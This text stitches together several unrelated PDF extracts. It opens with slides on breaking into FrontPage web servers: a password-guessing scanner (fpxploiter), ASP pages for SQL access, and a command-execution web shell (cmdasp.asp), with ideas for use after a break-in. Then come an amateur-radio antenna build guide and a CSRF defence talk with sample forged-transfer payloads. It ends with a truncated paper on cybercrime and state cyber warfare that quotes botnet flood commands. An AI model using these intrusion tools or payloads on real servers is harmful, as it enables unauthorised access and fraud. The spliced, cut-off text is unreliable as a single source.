All responses from Frontpage Server Extensions
come in the form of Vermeer RPC Packets.
Vermeer Packets closely resemble HTML pages.
Information is coded within these
packets based on position within
HTML tags.
An early precursor to XML?
Sample Vermeer RPC Packet
The following sample VTI Packet contains large
amounts of information, including physical drive
locations.
Physical drive paths may be useful for Unicode exploits.
Frontpage: Knocking on the door
Custom Tools
fpxploiter -> Frontpage Vulnerability Scanner
Perl-Gtk Scanning tool
Summary
Now that we have a better understanding of how
Frontpage works, let's see about finding vulnerable
targets.
This is what brought about fpxploiter.
It's a Perl-Gtk application the
provides capability for:
Locating Frontpage accessible
webservers, using default options, or user
defined accounts and passwords.
Servers without passwords
Servers with weak passwords
Using fpxploiter: How to Start
Start fpxploiter with the command fpxploiter.
Application opens with main window.
Using fpxploiter: How the scanner
works?
Start by providing a target list, the current configuration of
the tool does not allow scanning of more than one Class C at
a time.
Select File->Set Targets or press Ctrl-T.
Enter the host targets.
Using fpxploiter: How modify the
password list?
Select File->Set Password List and select you new password
list file.
Using fpxploiter: How modify the default
user account?
Select File->Set User account and enter your new user
account.
Using fpxploiter: How to export the
results?
Select File->Save Log and select the destination for your log
file, use this AFTER the scanning is complete.
Additional Screen Captures
Fpxploiter during a scanning session.
Future Directions
Support for Apache Frontpage extensions.
Redesign of the fpxploiter tool to provide generic
Frontpage access library.
Rebuild in C/Gtk or C++/QT.
Support for uploading content.
Code
All Code for fpxploiter is available the the
following website.
http://www.fpxploiter.org
!
Additionally it's on the DEFCON CD.
Frontpage: What to do when your there
ASP for Hackers
SQL Server Database Hunting
"
SQL Server Database Access Tools
#
Custom ASP pages that allow us to execute queries and
explore SQL Servers.
$
Using fpxploiter to locate vulnerable servers.
Tie it all together with ASP
pages to execute sql queries
against the database.
Summary
%
Fpxploiter helps us find vulnerable web servers.
&
SQLUltimate.asp contains custom asp code that
functions as a SQL Analyzer.
'
Ideas?
Add SQL Server users (if your in the
System Admin role)
Access corporate data
Execute extended stored procedures
Locate application accounts and
passwords
Screen Capture
(
The following screen capture shows the
SQLUltimate.asp and a resulting query result.
Image taken from http://ASPAlliance.com/mbrink1111/
Copyright 2003 Michael Brinkley, All Rights Reserved
Used with Permission
Code
)
All Code for SQLUltimate.asp is available the the
following website.
*
ASPAlliance.com
+
http://aspalliance.com/mbrink1111/SQLAnalyzer.asp
Command Line ASP
,
ASP Page built to execute console commands and
return the results.
-
Built by Maceo <maceo @ dogmile.com>
.
netstat -a
/
ipconfig -all
0
Ver
1
set
2
net users
3
Net localgroup
Allows execution of simple
commands, good examples
include
Summary
4
Fpxploiter helps us find vulnerable web servers.
5
cmdasp.asp contains custom asp code to execute simple
console commands.
6
Ideas?
Use netstat -an & netstat -a as make
shift reverse DNS.
Use net localgroup and net view to
understand drive mappings and
groups.
Use ping to find additional servers
Screen Capture
7
The following screen capture shows cmdasp.asp
in action.
Code
8
All Code for cmdasp.asp is available the the
following website.
9
http://www.securiteam.com/tools/5AP020U35C.html
Future Ideas
:
ASP Code can be used in conjunction with the
winsock control to provide “scanning” from the
webserver.
;
ASP Code can be used to view
SMB Shares and Remote
Administration (See http:
//cifs.novotny.org/, amazing work
with ASP.NET)
<
ASP Code can be used with
xmlhttp controls to navigate
internal web sites (Intranets)
Frontpage: Holding down the fort
Securing Frontpage through best practices
Strong Passwords
=
As in most systems, your last line of defense is
your password, and Frontpage is no different.
Choose strong passwords, consisting of
upper and lowercase characters (with
LANMAN this is rather
meaningless), numbers, and special
characters.
Stick with passwords over eight
characters in length.
Changed Admin Account
>
As is good practice, consider changing the name
of your Administrator account.
?
Choose something meaningful, however avoid the
typical choices, such as:
@
Root
A
Admin
B
123
C
Password
Concept of least privilege
D
Only provide the access necessary to get the job
done.
Use the Frontpage roles to assign users
Author rights to specific webs as
appropriate.
Reserve Admin rights for specific
accounts.
IP Restrictions
E
Using IIS native IP based restrictions you can effectively
block a large portion of Frontpage attacks.
F
Use the IIS Access tab to block access to the admin.dll and author.dll to
IP addresses outside of your internal range.
G
Additionally,
consider
segmenting
your
developers and
giving this
group access
only.
Frontpage: Closing words
Fpxploiter.org Site
H
Clearing house for code and commentary.
References and Links
I
References to the many sources used in this
research, and a thanks to all involved.
Older Frontpage Hacking Texts
http://www.insecure.org/sploits/Microsoft.frontpage.insecur
ities.html
Perl-Gtk Tutorial
http://personal.riverusers.com/~swilhelm/gtkperl-tutorial/
Microsoft Frontpage MSDN
http://msdn.microsoft.com/library/default.asp?url=/library/e
n-us/dnservext/html/fpse02win.asp
Thanks and Credits
J
This project would never have been made
possible without the support of the following
people.
K
Mary Shannon <Wife and Greatest Fan>
L
Matthew Decker <Mentor>
M
[email protected]
N
Michael D'Andrea <Graphics Designer>
O
[email protected]
P
Stephen Bickle <Technical Review>
Q
[email protected]
R
Stephen Wilhelm <Perl-Gtk Tutorial>
Questions or Comments? | pdf |
“Sputnik-II”
Economical Multi-Band Antenna
Version 2.0 — 04-01-2010
BANDS:
A
B
C
D
2m – 1.25m – 70cm
19 ½”
1”
12 ⅜”
21”
2m – 70cm
19 ½”
1”
6”
21”
Antenna Versions:
The antenna was originally designed to cover 2m – 1.25m – 70cm in a single ground plane style
unit. The design utilizes 2 elements for the radiator, the longer of which operates as a ¼ wave at
2m and a ¾ wave at 70cm. The short element is ¼ wavelength at 1.25m which is also a ½ wave
at 70cm and appears to be a short, directing the energy on 70cm to the more attractive ¾ wave
element.
¾ wavelength antennas however are not very desirable for ground to ground use because of the
large lobe emitted 45 degrees upwards. This trait may be desirable for stations trying to use a
repeater at the base of the mountain it is located on or for knife edging DX stations in a
mountainous region. The sky wave lobes have approximately 4dB additional gain above the
ground wave on this band.
If 1.25m operation is not desired the antenna may be constructed as a 2m – 70cm Dual-Band
antenna which has better ground wave performance, by making the shorter element a ¼ wave
on 70cm. A slight gain increase is noted on the elevation plane in the direction of the shorter
stub in this version; the azimuth pattern is approximately Omni-directional. Please refer to Dual-
Band 2m – 70cm Elevation and SWR Charts later in this document.
Bronze welding rod is used as the elements because that was readily available at the hardware
store visited during construction of the prototype antenna. Electrical performance will be
increased if copper or brass rods 36” in length are obtainable.
Construction Materials:
Item
Description
Qty
Cost Each
Radiator
1/8” x 36” Bronze Welding Rod
1
$2.39
Ground Plane
3/32” x 36” Bronze Welding Rod
4
$1.29
Housing
1 ¼” PVC End Cap
1
$0.49
Mast
Random Length of 1 ¼” PVC Pipe
Per Foot
$1.19
Connector
SO-239
1
$2.39
Coaxial Cable
RG-58
Per Foot
$0.30
Connectors
PL-259
2
$2.39
Reducer
PL-259 to RG-58
2
$0.39
Epoxy
JB Weld
1
$4.49
Construction:
Bend Radiator element into “J” shape according to dimension chart for bands desired. Add an
extra ½” – 1” to the dimensions of segments A and C to facilitate trimming for best SWR at
target frequencies if desired.
Drill 2, ⅛” holes in PVC end cap to facilitate Radiator element. The holes should be adjacent to
each other spaced ½” from top center of the end cap.
Measure 1” from the top of the end cap down the side and draw a line around the circumference
of the end cap. Drill 4, 3/32” holes, 90 degrees apart from each other and 45 degrees apart from
Radiator element holes.
Dry fit the radiator element into end cap. If spacing is too tight because of segment B, bend a
slight “V” shape into the center of segment B with pliers or a vice.
Pre-tin center of segment B with high wattage soldering iron or solder gun. Solder center
conductor of the SO-239 connector to the center point of Radiator segment B. Be careful not to
melt plastic dielectric of SO-239. Solder in a way that the mounting holes of the connector are
45 degrees to segment B of the Radiator to facilitate Ground Plane connection. A coating of JB
weld or equivalent epoxy may be added to protect this connection from the weather and add
stability.
Insert Ground Plane rods into the side holes in end cap. Using needle nose pliers, bend the
ground rods ¼ - ⅜” from the end 90 degrees. Push each rod towards center of end cap and tin
with solder individually so that the PVC does not melt. Pull rods towards outer of cap after
cooled.
Insert the Radiator into end cap. Pull Radiator elements 1 at a time with pliers to bring connector
into PVC housing. Position the ends of the radials so that they go through the SO-239 mounting
holes. Continue pulling radiators so that SO-239 sits flush with Ground Plane radials.
Bend the radials now coming through the holes in the SO-239 an additional 90 degrees
outwards from the connector, this makes a better physical connection and it makes room for the
PL-259 when attached. Solder Ground Plane radials to SO-239, take care not to melt the plastic
dielectric of the connector or touch the PVC end cap.
Apply a liberal coating of JB weld to the interior of the end cap to secure Radiator and Ground
Plane to housing and allow it to dry, if there is not enough room to get at the Radiator the epoxy
may be added to the exterior of the end cap instead.
Construct or purchase a pre-made jumper cable from the desired coax and connector types.
RG-58 is recommended for installations 25’ or less from the antenna. RG-8 type should be used
for distances exceeding this. Connect cable to SO-239 and mount assembly on PVC pipe. Do
not glue the end cap to pipe to allow coax maintenance if necessary.
Bend the radials approximately 45 degrees downwards and trim to length listed for segment D.
Tri-Band 2m – 1.25m – 70cm Antenna Construction Prototype:
Tri-Band 2m – 1.25m – 70cm Tuning:
Attach a watt meter between the transmitter and antenna. The long element of the Radiator is
for 2m and 70cm. Set radio for 147 MHz, Trim ⅛” at a time from the end of the longer element
until the SWR is lowest. A small overshoot is acceptable. Do not trim the longer element any
further. As the longer element is also a ¾ wave on 70cm, check for acceptable SWR on 442.5
MHz.
Tune the shorter element for 223 MHz by trimming ⅛” at a time from the end. Trim the shorter
element only, do not trim the longer element any further when tuning the higher frequency.
Dual-Band 2m – 70cm Tuning:
Tuning is the same as the Tri-band version for the longer element; however the shorter element
on this antenna is tuned to 445 MHz instead. It should be noted that trimming the shorter
element will have less visible effect than tuning the longer element did as both are resonant at
70cm.
A return loss bridge may be used for tuning instead of a watt meter if one is available.
Tri-Band 2m – 1.25m – 70cm Elevation and SWR Charts:
Tri-Band 2m – 1.25m – 70cm Theoretical Gain in to Radio Horizon:
2m = 5.3 dBi, 1.25m = 6.6dBi, 70cm = 2.7dBi
Tri-Band 2m – 1.25m – 70cm Theoretical SWR:
Tri-Band 2m – 1.25m – 70cm Measured Return Loss:
Dual-Band 2m – 70cm Elevation and SWR Charts:
Dual-Band 2m – 70cm Theoretical Gain in to Radio Horizon:
2m = 5.0dBi, 70cm = 6.4dBi
Photographs, Frequency plots and Elevation data by: Matt Krick, K3MK
Measured Return Loss Equipment by Hewlett Packard and Eagle
Theoretical Patterns Plotted with EZNEC v5.0 by Roy W. Lewallen
Legal notice - All the material in this technical service bulletin is Copyright 2010 Matt Krick,
K3MK, All Rights Reserved. The author takes no responsibility for any damage during the
modification or for any wrong information made on this modification. Your results may vary.
Commercial use of this bulletin is not authorized without express written permission of the
author.
Furthermore, this work is specifically prohibited from being posted to www.mods.dk or any other
‘limited free site’. Please ask for permission before posting elsewhere. | pdf |
WIPING OUT CSRF
JOE ROZNER | @JROZNER
IT’S 2017
WHAT IS CSRF?
WHEN AN ATTACKER FORCES A VICTIM
TO EXECUTE UNWANTED OR
UNINTENTIONAL HTTP REQUESTS
4
WHERE DOES CSRF
COME FROM?
LET’S TALK HTTP
SAFE VS. UNSAFE
▸ Safe
▸ GET
▸ HEAD
▸ OPTIONS
▸ Unsafe
▸ PUT
▸ POST
▸ DELETE
8
SAFE VS. UNSAFE
LET’S TALK COOKIES
COOKIES
▸ Cookies typically used to specify session identifier for server
▸ Users depend on user agents to correctly control access to cookies
▸ User agents only but always send cookies with matching domain to hosts
▸ This is done regardless of matching origin
▸ Cookies are user agent global (work cross tab)
10
SESSION=298zf09hf012fh2; Domain=example.com;
Secure; HttpOnly
LET’S TALK XSS
XSS
▸ Attackers use XSS to inject CSRF payloads into the DOM
▸ With sufficient XSS all counter measures can be bypassed
13
HOW DOES CSRF
WORK?
FORM BASED
▸ Normal HTML form that a victim is forced to submit
▸ Either genuinely supplied or attacker supplied (via XSS)
▸ Typically performed with JavaScript via XSS or attacker controlled page
▸ Good option for bypassing same origin without CORS
▸ Good option where safe verbs are used correctly
▸ Useful for phishing links as long as form click is fast
15
<html>
<head>
</head>
<body>
<form action="http://bank.lol/transfer" method="POST">
<input type="hidden" name="account" value="12345" />
<input type="hidden" name="amount" value="100000000" />
<input type="submit">Submit</input>
</form>
</body>
<script>document.querySelector('form').submit();</script>
</html>
XHR
▸ Typically comes from an XSS payload
▸ Limited to the origin unless CORS is enabled
▸ No page reload required
▸ More difficult for victim to detect
17
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/transfer', true);
xhr.onreadystatechange=function() {
if (xhr.readyState === 4) {
// request made
}
};
xhr.send('account=12345&amount=1000000');
</script>
RESOURCE INCLUSION
▸ Doesn’t depend on XSS or attacker supplied pages
▸ Requires an attacker to have control over resources on the page
▸ Depends on using safe verbs unsafely
▸ Limited to GET requests
▸ Possible with any HTML tags for remote resources
▸ img, audio, video, object, etc.
19
<img src="http://bank.lol/transfer?account=12345&amount=100000"></img>
CURRENT SOLUTIONS
▸ Using safe verbs correctly
▸ Verifying origin
▸ Synchronizer/crypto tokens
21
⚠
DISCLAIMER
WHY?
▸ Inability to modify the application
▸ Bulk support across many applications
▸ Providing protection to customers as a service
23
WHAT ARE WE LOOKING FOR?
▸ Easily added to apps without CSRF protections present
▸ Works across browsers
▸ Can work for xhr, forms, and resources
▸ Minimal performance impact (cpu, memory, network)
▸ No additional requests needed (updating tokens)
24
CORRECT SAFE VERB USE
▸ If you’re changing state don’t respond to safe methods
▸ Utilize mature and well designed frameworks and routers to help
▸ Be specific with your verbs and paths
▸ Not easy to fix after the fact but makes it much easier to solve
▸ If it’s not an option there are work arounds
25
VERIFYING REFERER/
ORIGIN
REFERER/ORIGIN OVERVIEW
▸ Check origin/referer in request against current address
▸ Not strictly required but adds some additional protection layers
▸ Probably what you want if you’re dependent on CORS
▸ Possibly sufficient with safe methods used correctly
▸ Not fool proof because of header conditions
▸ For CORS read https://mixmax.com/blog/modern-csrf
27
GET /transfer HTTP/1.1
Host: bank.lol
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3)
Referer: http://shady.attacker/csrf-form.html
GET /transfer HTTP/1.1
Host: bank.lol
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3)
X-Requested-With: XMLHttpRequest
Origin: shady.attacker:80
Referer: http://shady.attacker/csrf-form.html
URL url = null;
String originHeader = request.getHeader("Origin");
if (originHeader != null) {
url = new URL(originHeader);
} else {
String refererHeader = request.getHeader("Referer");
if (refererHeader != null) {
url = new URL(refererHeader);
}
}
String origin = url.getAuthority();
String host = request.getHeader("Host");
if (origin == null || origin.equalsIgnoreCase(host)) {
return true;
}
return false;
TOKENS
TOKEN OVERVIEW
▸ Come in two types: synchronizer and crypto
▸ Designed to make each request unique and tie it to a specific user and action
▸ Required for all state changing actions
▸ Traditionally only used for logged in users but can be used unauthenticated
▸ Additional benefits such as stopping replays
32
COMPOSITION
▸ Essentially composed of three components:
▸ Random Value
▸ User ID
▸ Expiration
▸ Authenticity Verification
▸ If one is missing security of tokens is severely compromised
33
User
bank.lol
GET /
Response
POST /search
Response
GET / HTTP/1.1
Host: bank.lol
HTTP/1.1 200 OK
Set-Cookie: token=1234567890abcdef
…
POST /search
Host: bank.lol
Cookies: token=1234567890abcdef
HTTP/1.1 200 OK
Set-Cookie: token=123abc
▸ Crypto requires no server side storage or deployment changes
▸ Synchronizer tokens are just random data
▸ Basically never use crypto tokens
▸ We’re going to introduce a hybrid solution that provides the best of both
worlds (mostly)
35
CRYPTO VS SYNCHRONIZER
GENERATION
String generateToken(int userId, int key) {
byte[16] data = random()
expires = time() + 3600
raw = hex(data) + "-" + userId + "-" + expires
signature = hmac(sha256, raw, key)
return raw + "-" + signature
}
36
VALIDATION
37
bool validateToken(token, user) {
parts = token.split("-")
str = parts[0] + "-" + parts[1] + "-" + parts[2]
generated = hmac(sha256, str, key)
if !constantCompare(generated, parts[3]) {
return false
}
if parts[2] < time() {
return false
}
if parts[1] != user {
return false
}
return true
}
GIVING THE USER AGENT TOKENS
1. Intercept response on the way out after processing
2. If token is validated for request or doesn’t exist generate one
3. If generated create cookie and add to response
38
SENDING TOKENS BACK
FORMS
1. Attach an event listener to the document for “click” and delegate
2. Walk up the DOM to the form
3. Create new element and append to form
4. Return and allow browser to do it’s thing
40
var target = evt.target;
while (target !== null) {
if (target.nodeName === 'A' || target.nodeName === 'INPUT' || target.nodeName === 'BUTTON') {
break;
}
target = target.parentNode;
}
// We didn't find any of the delegates, bail out
if (target === null) {
return;
}
// If it's an input element make sure it's of type submit
var type = target.getAttribute('type');
if (target.nodeName === 'INPUT' && (type === null || !type.match(/^submit$/i))) {
return;
}
// Walk up the DOM to find the form
var form;
for (var node = target; node !== null; node = node.parentNode) {
if (node.nodeName === 'FORM') {
form = node;
break;
}
}
if (form === undefined) {
return;
}
var token = form.querySelector('input[name="csrf_token"]');
var tokenValue = getCookieValue('CSRF-TOKEN');
if (token !== undefined && token !== null) {
if (token.value !== tokenValue) {
token.value = tokenValue;
}
return;
}
var newToken = document.createElement('input');
newToken.setAttribute('type', 'hidden');
newToken.setAttribute('name', 'csrf_token');
newToken.setAttribute('value', tokenValue);
form.appendChild(newToken);
XHR
1. Save reference to XMLHttpRequest.prototype.send
2. Overwrite XMLHttpRequest.prototype.send with new function
3. Retrieve and append token from cookie into request header
4. Call original send method
44
XMLHttpRequest.prototype._send = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function() {
if (!this.isRequestHeaderSet('X-Requested-With')) {
this.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
}
var tokenValue = getCookieValue('CSRF-TOKEN');
if (tokenValue !== null) {
this.setRequestHeader('X-CSRF-Header', tokenValue);
}
this._send.apply(this, arguments);
};
BROWSER SUPPORT
46
Browser
Supported
IE
8+
Edge
Yes
Firefox
6+
Chrome
Yes
Safari
4+
Opera
11.6+
iOS Safari
3+
Android
2.3+
THE FUTURE
SAMESITE COOKIES
▸ Extension to browser cookies
▸ Largely replace the need for synchronizer tokens
▸ Correct use of safe methods is still important
▸ Fully client side implemented (no sever side component except cookie gen)
▸ Stops cookies from being sent with requests originating from a different origin
48
User
bank.lol
GET /
Response
GET /image1
GET /image2
GET /image3
GET / HTTP/1.1
Host: bank.lol
HTTP/1.1 200 OK
Set-Cookie: session=1234567890abcdef
…
GET /image1
Host: bank.lol
Cookies: session=1234567890abcdef
…
GET /image2
Host: bank.lol
Cookies: session=1234567890abcdef
User
shady.lol
GET /
Response
GET /transfer
GET / HTTP/1.1
Host: shady.lol
HTTP/1.1 200 OK
…
GET /image1
Host: bank.lol
Cookies: session=1234567890abcdef
bank.lol
GET / HTTP/1.1
Host: bank.lol
…
HTTP/1.1 200 OK
Set-Cookie: session=1234567890abcdef; SameSite=Lax
…
STRICT VS. LAX
STRICT VS LAX
▸ Strict enforces for safe methods while Lax does not
▸ Strict can break for initial page load if cookies are expected present
▸ You can fix with some creative redirect magic
▸ Lax is probably sufficient in most cases
HTTPS://TOOLS.IETF.ORG/HTML/DRAFT-IETF-HTTPBIS-COOKIE-SAME-SITE-00
53
BROWSER SUPPORT
54
Browser
Supported
IE
X
Edge
X
Firefox
X
Chrome
55+
Safari
X
Opera
43+
iOS Safari
X
Android Chrome
56
http://caniuse.com/#feat=same-site-cookie-attribute
IMPLEMENTATION
1. Intercept responses on the way out
2. Parse Set-Cookie headers
3. Identify if cookie should have the SameSite attribute
4. Identify if SameSite attribute is present
5. Add SameSite attribute if not present
55
CONCLUSION
▸ We have current flexible solutions for CSRF that solve most cases
▸ These can be deployed retroactively to apps without support
▸ If you’re building new apps use framework support
▸ We need to get users off old broken browsers
▸ SameSite looks like a possible end in many cases but too soon to tell
56 | pdf |
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 1 www.securityandinnovation.com
Cyber[Crime|War]
Linking State Governed Cyber Warfare with Online Criminal Groups
Table of Contents
Introduction................................................................................................................................1
Background................................................................................................................................2
Cybercrime.................................................................................................................................2
Cyber Warfare............................................................................................................................3
Past Events and Making the Links.............................................................................................3
Estonia ...................................................................................................................................3
Georgia...................................................................................................................................5
Twitter, Google and the APT.................................................................................................6
Conclusion .................................................................................................................................7
Introduction
In recent years Cybercrime has been front-page news as a result of an increase in profit-
motivated internet crimes; and an apparent lack of sufficient security measures that leave
standard internet users virtually unprotected from internet crimes.
Software security vendors have been trying to show progress in the fight against cybercrime
- with some success. The vast majority of Internet users, however, are still unprotected from
internet crime that includes fraud, phishing and identity theft. The success of financial
cybercrime has served to fuel further increase in its levels as more and more criminals turn
to the Internet as a means for theft.
It is likely this problem would have been shadowed by other IT security issues, were it not for
the fact that major corporations are also being targeted - with measurable success - and that
attacks are growing more and more sophisticated by the day (check out www.datalossdb.org
for statistics and samples).
Cyber warfare (i.e. government warfare conducted over the internet), on the other hand,
hasn't drawn considerable media attention1, mostly because of lack of evidence connecting
cyber attacks with government policy or actions. In some circles cyber warfare is not even
considered a serious topic of discussion, being closely associated with conspiracy theories.
At the same time governments across the world are investing vast resources in developing
cyber warfare weaponry and awareness, as part of their overall defense and offense
strategy.
Leading industrial nations, such as the US, Russia and the UK, as well as developing cyber-
nations including China and Iran, are trying to make sure they won!t stay behind in the cyber
1 This does not include marketing related “cyber frenzy". See http://www.wired.com/threatlevel/2010/03/cyber-
hype/
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 2 www.securityandinnovation.com
arms race; while at the same time trying to keep "off the radar" in terms of public and media
awareness to their actions.
This paper will explore possible links between the political activities of national governments,
and cybercrime activities, through events that included substantial cyber-warfare
characteristics. We will also outline a mechanism by which cybercrime is often connected
with cyber warfare - to the benefit of both governments and cyber criminals.
Background
While researching last year some "behind-the-scenes" aspects of cybercrime (including
technical threats by criminals and business aspects of cybercrime), we uncovered some
interesting material from a criminally operated server. This material led us to the conclusion
that there are possible links between a certain criminal organization and government/state
dealings.
We then observed several famous cases linking cybercrime with political international
conflicts, using our experience in order to shed light on mechanisms of cybercrime, and to
identify links between cybercrime and state-sponsored cyber-attacks.
Cybercrime
Cybercrime turned into a major concern as computers and the internet became an integral
part of daily life. Most research efforts that focus on covering the cybercrime world portray a
highly organized environment, sometimes at a level akin to organized-crime.
Targeted and specialized, cybercrime is like a modern economic sector with sub-sectors that
specialize in different technologies and markets, actively trading between themselves.
This is a force that adheres to classic economic theories of supply and demand, to rules of
international business, marketing, distribution channels, outsourcing and financially-driven
innovation.
Cybercrime today is almost completely financially driven, and usually bears no relation to
geographies or politics, unless they play a role in revenue generation.
One of the major enablers of this economy is the almost nonexistent legislation against
cybercrime. Where legislation does exist, it is rarely enforced effectively. Although modern
states do have criminal legislation banning electronic crime, lack of cooperation and
coordination between countries renders such legislation ineffective, since cybercrime
recognizes no borders and geographical barriers.
The existence of regions in which authorities either turn a blind eye or have lax legislation,
provides a safe haven for cyber criminals and enables cybercrime organizations to get away
with their activities.
In terms of technology, most of the vulnerabilities and exploits used in cybercrime are well
documented, both technologically and financially. Cybercrime tools and skills are often
offered for a premium in an active marketplace that exists for creating, selling and
exchanging such technologies; a marketplace that thrives in the fringes of legitimate
technological markets.
Most of the victims of cybercrime (whether individuals or businesses) are usually covered by
local liability and insurance protection, with financial institutions footing the bill for most of the
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 3 www.securityandinnovation.com
damages accrued from these activities (it is therefore natural that financial institutions are
major consumers of security intelligence services and proactive security actions).
Cyber Warfare
It is well known that advanced nations are allocating considerable resources to cyber
warfare and to creating awareness/readiness for cybercrime, as part of a defense and
offence strategy on the cyber front.
On the defense side, the aim of cyber warfare is to protect infrastructure, military capabilities
and civilian institutions.
On the offence side, the aim of cyber warfare is to target an adversary's critical
infrastructure, alter their view of the battlefield (both kinetic and virtual), and affect their
population (propaganda).
Cyber warfare capabilities range from the more traditional SIGINT (Signal Intelligence),
including espionage (both internally and externally), development of offensive capabilities to
render information systems inaccessible or inoperable (including falsifying information), and
developing defensive capabilities to protect critical IT-reliant infrastructure from attacks.
Most cyber capabilities developed by advanced countries over the last decade focus on
military aspects of cyber warfare: stealth vehicles, jamming devices, anti-jamming, secure
communication capabilities, etc.
Less attention was given to “classic” computer attacks involving personal computers and
servers. As a result, governments often found themselves following civilian market
developments in this field, rather than leading the innovation.
Past Events and Making the Links
In order to underscore the recent developments in cybercrime and cyber warfare, we will
review a number of major cyber warfare events:
Estonia
Much has been written on cyber events revolving around the Estonian-Russian cyber war.
This was an online-only conflict spurred by the relocation of a soviet-era bronze statue in
Tallinn in 20072. While some call it the first cyber warfare, others denounce the notion,
claiming there was no direct involvement in cyber activities on the part of the two
governments supposedly at war.
Both are right. Estonia was indeed the first public case of effective cyber warfare, which
brought the country!s IT infrastructure to a standstill.
For a country like Estonia, which is heavily reliant on its IT infrastructure (most of its banking
activities, for example, are done online and so is voting and numerous other government
functions) - the result was the same as warfare targeted a civilian population: for three
weeks the country!s major infrastructure, including the banking sector, media and
governments, ceased to work as a result of a DDoS attack (distributed denial of service).
2 For additional background on the Estonia-Russia cyber-conflict see
http://en.wikipedia.org/wiki/2007_cyberattacks_on_Estonia
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 4 www.securityandinnovation.com
On the other hand, who waged this war? The obvious answer would be Russia. There was
no proof, however, of direct links between any Russian government or military entities and
the cyber attacks on Estonia.
Yet this is exactly how cyber warfare is waged: a Russian official, in answer to claims that
Russia was behind the attacks, stated that “If you are implying [the attacks] came from
Russia or the Russian government, it's a serious allegation that has to be substantiated.
Cyber-space is everywhere” (Vladimir Chizhov, Russian Ambassador to the EU).
Tracing back the attacks, we can see each and every one came from civilian networks. More
notably, the attacks had a form characteristic to attacks used by cyber criminals to extort
online businesses (that rely on providing uninterrupted service for their revenue generation).
For background on the techniques and operations, check out a riveting recount of battling
such threats (with success) here: http://www.csoonline.com/article/print/220336 and here:
http://www.wired.com/wired/archive/14.11/botnet_pr.html (which shows what happens
when you try to openly and directly fight spammers).
In the Estonian case, the attacks were not just simple hack-and-deface attacks (attributed to
the Nashi - a Russian youth political movement), but also an all-out DDoS (Distributed Denial
of Service) that brought the country!s infrastructure to its knees for over three weeks.
This DDoS attack came from a botnet that was later associated more closely with a Russian
cybercrime group operating out of St. Petersburg, with links to the RBN (Russian Business
Network). RBN has been extensively covered in cybercrime research and was linked to
Russian politics on more than one occasion3.
This leads to the question, how and why would a criminal organization whose main objective
is financial get involved in a purely political issue? How could that involvement come in such
an organized and timed manner, in response to the events in Tallinn (events that were
clearly generating political reactions from the Russian Government)?
The only conclusion is obvious: one of the lines of business of Russian groups linked to the
attacks is what is called "botnet4 rental".
Rented botnets have been successfully offered as a service by cybercrime groups, since
they realized that such a huge computing power can be better utilized when rented “by the
hour” to multiple users – much like the early computer systems were, and the way
supercomputers are rented today.
The Estonian botnet operation could only have been carried out by a botnet with enough
capacity to immobilize the Estonian infrastructure. This means that most of the botnet was
utilized at once. This is something that is rarely done, since botnets are typically rented in
small chunks to maximize financial potential.
An operation of this scale would have to be commissioned by government agencies, which
probably already had ties with criminal groups operating within the RBN. The fact that RBN
has, on several occasions, been associated with Russian officials and the fact that it was
resurrected after its dispersion is another indication of the involvement of Russian
government agencies in the Estonian cyber war.
Our conclusion is that there is a substantial link between cybercrime and cyber warfare in
the case of shut-down of the Estonian infrastructure during 2007.
3 For additional references on the RBN political links see http://www.theage.com.au/news/security/the-hunt-for-
russias-web-crims/2007/12/12/1197135470386.html
4 For additional background on botnets see http://en.wikipedia.org/wiki/Botnet
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 5 www.securityandinnovation.com
Georgia
The Russian-Georgian war in August 2008 poses a more interesting dilemma: during the
conflict itself (which was kinetic, as opposed to the Estonian conflict that was purely
computer-generated) there were more than a few incidents where cyber attacks were
synchronized with troop movements on the ground.
The initial cyber attack was directed at the Georgian president!s website. It was a simple yet
effective DDoS attack:
flood http www.president.gov.ge
flood tcp www.president.gov.ge
flood icmp www.president.gov.ge
The DDoS was quieted down by the Russians for a few days: the C&C servers (Command
and Control servers used to manage a botnet) deployed in the initial attack were taken
offline as Russian troops crossed the border towards Georgia,.
Shortly after the ground troops started engaging the Georgian forces, six new C&C servers
started issuing DDoS attack commands on select Georgian websites, including:
www.president.gov.ge
www.parliament.ge
apsny.ge
news.ge
tbilisiweb.info
newsgeorgia.ru
os-inform.com
www.kasparov.ru
hacking.ge mk.ru
newstula.info
skandaly.ru
The interesting part is the difference between the initial C&C servers that launched the
attack on the president!s website, and the six C&C servers that launched the attacks on the
rest of the websites.
The six servers that launched the later attacks were much more capable and less dedicated
to the Georgia attack: while commanding their botnets to attack Georgian Internet facilities,
the servers were also taking care of "regular business”: attacking sites that included Porn,
adult escort services, carder forums5 and gambling sites.
This is a clear indication that a cybercrime group has been managing the later C&C servers.
Other indices include the fact that the servers themselves were registered through
www.naunet.ru - a known “bulletproof hosting” provider in Russia; and the fact that the
domains used for lunching the attacks were registered and hosted by www.steadyhost.ru - a
known front for cybercrime activities.
Steadyhost.ru is using a network provided by its parent company, “Innovative IT solutions”.
“Innovative IT Solutions” is masked by a mail-drop in London, and actually owns and
operates the subnet used for hosting the servers that attacked the Georgian websites (at IP
addresses 74.86.81.232-239 and 75.126.142.96-111).
Criminal activities conducted by the "bulletproof" host in Russia, along with the Georgian
attacks, included (like in the case of RBN in the Estonian cyber attack) mostly criminal
activities such as forgery, money laundering and renting out botnets for spamming and
extortion purposes.
It is our opinion that those three variables – commercial criminal activities by the attacking
servers, ties to Russian entities as well as criminal entities - together with the Kremlin!s
5 Forums in which “carders” (criminals in the credit card fraud industry) are trading stolen cards and criminal
related information.
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 6 www.securityandinnovation.com
policy and tactics regarding operation of RBN and similar businesses in Russia, make a
clear case for a connection between the Russian Government and cybercrime. A connection
that in the Georgian case was used to deploy one of the most synchronized kinetic-cyber
attacks in history, while enabling the Russian government to deny any connection between
the two.
Twitter, Google and the APT
The grouping of the Twitter and Google incidents during 2009 and 2010 is not coincidental.
Although the media has attributed the incidents to two different countries (Iran and China), if
